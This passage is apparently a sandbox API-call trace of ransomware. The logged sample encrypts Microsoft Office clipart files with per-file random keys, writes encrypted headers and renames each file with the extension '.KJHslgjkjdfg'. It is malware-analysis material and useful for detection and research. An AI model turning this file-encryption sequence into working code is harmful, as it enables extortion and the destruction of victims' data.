1 [0194.467] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0194.467] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0194.467] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0194.467] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0194.467] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0194.467] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.467] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x3928, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x3928, lpOverlapped=0x0) returned 1 [0194.469] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x3930, dwBufLen=0x3930 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x3930) returned 1 [0194.469] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.469] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x3930, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x3930, lpOverlapped=0x0) returned 1 [0194.469] CryptDestroyKey (hKey=0x9b6628) returned 1 [0194.469] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x3a04, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.469] SetEndOfFile (hFile=0x130) returned 1 [0194.471] GetProcessHeap () returned 0x990000 [0194.471] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0194.472] GetProcessHeap () returned 0x990000 [0194.472] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0194.472] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151055.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151055.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151055.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151055.wmf.kjhslgjkjdfg")) returned 1 [0194.474] CloseHandle (hObject=0x130) returned 1 [0194.474] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f4d5d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1a60, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0151061.WMF", cAlternateFileName="")) returned 1 [0194.474] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151061.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151061.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0194.475] GetProcessHeap () returned 0x990000 [0194.475] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0194.475] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0194.475] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0194.475] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0194.475] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0194.475] GetProcessHeap () returned 0x990000 [0194.475] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0194.475] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0194.475] CryptDestroyKey (hKey=0x9b6628) returned 1 [0194.475] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0194.481] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0194.481] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0194.482] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0194.482] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0194.482] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0194.482] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0194.482] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0194.482] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.482] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x1a60, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x1a60, lpOverlapped=0x0) returned 1 [0194.483] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1a60, dwBufLen=0x1a60 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1a60) returned 1 [0194.483] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.483] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x1a60, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x1a60, lpOverlapped=0x0) returned 1 [0194.483] CryptDestroyKey (hKey=0x9b6628) returned 1 [0194.483] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1b34, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.483] SetEndOfFile (hFile=0x130) returned 1 [0194.486] GetProcessHeap () returned 0x990000 [0194.486] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0194.486] GetProcessHeap () returned 0x990000 [0194.486] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0194.486] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151061.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151061.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151061.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151061.wmf.kjhslgjkjdfg")) returned 1 [0194.488] CloseHandle (hObject=0x130) returned 1 [0194.553] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f4d5d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2988, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0151063.WMF", cAlternateFileName="")) returned 1 [0194.554] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151063.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151063.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0194.554] GetProcessHeap () returned 0x990000 [0194.554] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0194.554] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0194.555] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0194.555] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0194.558] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0194.558] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0194.558] GetProcessHeap () returned 0x990000 [0194.558] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0194.558] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0194.558] CryptDestroyKey (hKey=0x9b6628) returned 1 [0194.558] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0194.558] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0194.558] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0194.559] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0194.559] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0194.559] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0194.559] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0194.559] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0194.559] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.559] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x2988, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x2988, lpOverlapped=0x0) returned 1 [0194.563] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x2990, dwBufLen=0x2990 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x2990) returned 1 [0194.563] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.563] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x2990, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x2990, lpOverlapped=0x0) returned 1 [0194.563] CryptDestroyKey (hKey=0x9b6628) returned 1 [0194.563] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x2a64, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.563] SetEndOfFile (hFile=0x130) returned 1 [0194.565] GetProcessHeap () returned 0x990000 [0194.565] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0194.565] GetProcessHeap () returned 0x990000 [0194.565] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0194.565] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151063.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151063.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151063.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151063.wmf.kjhslgjkjdfg")) returned 1 [0194.568] CloseHandle (hObject=0x130) returned 1 [0194.568] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f4d5d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3394, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0151067.WMF", cAlternateFileName="")) returned 1 [0194.568] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151067.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151067.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0194.568] GetProcessHeap () returned 0x990000 [0194.568] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0194.568] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0194.568] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0194.568] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xc, lpOverlapped=0x0) returned 1 [0194.577] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0194.577] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0194.577] GetProcessHeap () returned 0x990000 [0194.577] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0194.577] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0194.577] CryptDestroyKey (hKey=0x9b6628) returned 1 [0194.577] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0194.577] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0194.577] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0194.577] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0194.577] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0194.577] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0194.577] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0194.577] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0194.578] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.578] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x3394, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x3394, lpOverlapped=0x0) returned 1 [0194.579] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x33a0, dwBufLen=0x33a0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x33a0) returned 1 [0194.580] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.580] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x33a0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x33a0, lpOverlapped=0x0) returned 1 [0194.580] CryptDestroyKey (hKey=0x9b6628) returned 1 [0194.580] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x3474, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.580] SetEndOfFile (hFile=0x130) returned 1 [0194.582] GetProcessHeap () returned 0x990000 [0194.582] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0194.582] GetProcessHeap () returned 0x990000 [0194.582] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0194.582] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151067.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151067.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151067.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151067.wmf.kjhslgjkjdfg")) returned 1 [0194.583] CloseHandle (hObject=0x130) returned 1 [0194.583] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5642c4d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3418, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0151073.WMF", cAlternateFileName="")) returned 1 [0194.584] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151073.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151073.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0194.584] GetProcessHeap () returned 0x990000 [0194.584] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0194.584] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0194.584] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0194.584] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0194.588] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0194.588] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0194.588] GetProcessHeap () returned 0x990000 [0194.588] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0194.588] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0194.588] CryptDestroyKey (hKey=0x9b6628) returned 1 [0194.588] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0194.588] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0194.588] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0194.588] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0194.588] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0194.589] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0194.589] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0194.589] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0194.589] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.589] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x3418, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x3418, lpOverlapped=0x0) returned 1 [0194.590] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x3420, dwBufLen=0x3420 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x3420) returned 1 [0194.590] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.590] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x3420, lpNumberOfBytesWritten=0x29df270, 